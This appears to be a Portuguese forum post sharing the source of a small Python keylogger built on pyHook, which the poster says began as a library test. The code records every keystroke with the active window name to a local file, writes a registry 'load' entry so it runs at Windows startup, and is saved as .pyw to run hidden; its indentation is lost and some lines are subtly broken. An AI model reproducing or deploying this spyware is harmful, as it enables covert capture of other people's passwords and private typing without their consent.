
Era apenas para eu testar a lib pyHook, mas na impolgação, ele inicia com o Windows e roda oculto da lista de aplicativos (Huuuuuuuuuuuuaaaaaaaaaaa..

)
Code:GeSHi (python):
# coding: iso-8859-1 -*-
import pyHook # Importando o pyHook
import os, sys
import _winreg as winreg
def dbCreateLog(key, wName):
# Tratando as Teclas
if key == "Space":
key = "[ Espaço ]"
if key == "Tab":
key = "[TAB]"
if key == "Capital":
key = "[Caps Lock]"
if key == "Lshift":
key = "[SHIFT Esq]"
if key == "Lcontrol":
key = "[Control Esq]"
if key == "Lmenu":
key = "[Alt Esq]"
if key == "Rmenu":
key = "[Alt Dir]"
if key == "Rcontrol":
key = "[Control Dir]"
if key == "Rshift":
key = "[SHIFT Dir]"
if key == "Return":
key = "[ENTER]"
if key == "Back":
key = "[Backspace]"
if key == "Oem_Comma":
key = "[VIRGULA]"
if key == "Oem_Period":
key = "[PONTO]"
if key == "2":
key = "['@' OU 2]"
if key == "Left":
key = "[Esquerda]"
if key == " Right":
key = "[Direita]"
if key == "Up":
key = "[Para Cima]"
if key == "Down":
key = "[Para Baixo]"
if key == "Oem_Minus":
key = " _ "
if key == "Numpad0":
key = "0"
if key == "Numpad1":
key = "1"
if key == "Numpad2":
key = "2"
if key == "Numpad3":
key = "3"
if key == "Numpad4":
key = "4"
if key == "Numpad5":
key = "5"
if key == "Numpad6":
key = "6"
if key == "Numpad7":
key = "7"
if key == "Numpad8":
key = "8"
if key == "Numpad9":
key = "9"
if key == "Numpad0":
key = "0"
# Arquivo de log
file = "KeyLogg2.txt" # ".html"
f = open(file, "a")
nomeJanela = str(wName)
f.write(nomeJanela + "--")
if wName != nomeJanela:
f.write(wName + "--")
i = 0
for i in range(i+1):
f.write(key)
# Salvando as teclas
f.close
def OnKeyboardEvent(event):
"""Cria a função para catalogar a tecla"""
WindowName = event.WindowName # Janelas
key = event.Key # Teclas
print "[%s] - %s" %(WindowName, key)
dbCreateLog(key, WindowName)
#return key # retorna a tecla
return True
hm = pyHook.HookManager() # Cria a instancia
hm.KeyDown = OnKeyboardEvent # Registra a o evento (callbacks)
hm.HookKeyboard() # Inicia o Hook (varredura das teclas digitadas)
def autoRunReg():
try:
fileName = str("%s") %(sys.argv[0])
dirFile = """%s+\%s""" %(os.getcwd() ,fileName)
value = (dirFile)
print value
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows NT\CurrentVersion\Windows")
winreg.SetValueEx(key, "load", None, winreg.REG_SZ, value)
except: pass
if __name__ == '__main__':
try:
autoRunReg()
except: pass
import pythoncom
pythoncom.PumpMessages()Created by GeSHI 1.0.7.20
Obs: pySimplesKeylog
.pywKratos
